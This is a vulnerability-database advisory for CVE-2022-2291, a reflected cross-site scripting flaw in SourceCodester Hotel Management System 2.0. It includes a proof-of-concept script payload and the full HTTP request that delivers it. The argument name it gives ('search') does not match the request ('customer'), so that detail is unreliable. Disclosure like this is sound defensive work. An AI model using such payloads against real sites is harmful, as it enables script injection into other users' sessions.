A vulnerability was found in SourceCodester Hotel Management System 2.0 (Hospitality Software). It has been rated as problematic. This issue affects an unknown code of the file /ci_hms/search of the component Search. The manipulation of the argument search with the input value "><script>alert("XSS")</script> leads to a cross site scripting vulnerability. Using CWE to declare the problem leads to CWE-79. The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Impacted is integrity.

The weakness was published 07/03/2022. The advisory is shared at github.com. The identification of this vulnerability is CVE-2022-2291. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known. MITRE ATT&CK project uses the attack technique T1059.007 for this issue. The following code is the reason for this vulnerability:

POST /ci_hms/search HTTP/1.1
Host: localhost
Content-Length: 11
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ci_hms/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: ci_session=9kn2p06ccqlaaf2fft0qpgso3qdgj7j1
Connection: close

customer="><script>alert("XSS")</script>

The exploit is available at github.com. It is declared as proof-of-concept.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Similar entries are available at VDB-268800, VDB-268803, VDB-268845 and VDB-272445.

Productinfo

Type

• Hospitality Software

Vendor

• SourceCodester

Name

• Hotel Management System

Version

• 2.0

License

• free

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #40493: Hotel Management System 2.0 Reflected Cross-Site Scripting (by cyberthoth)

Discussion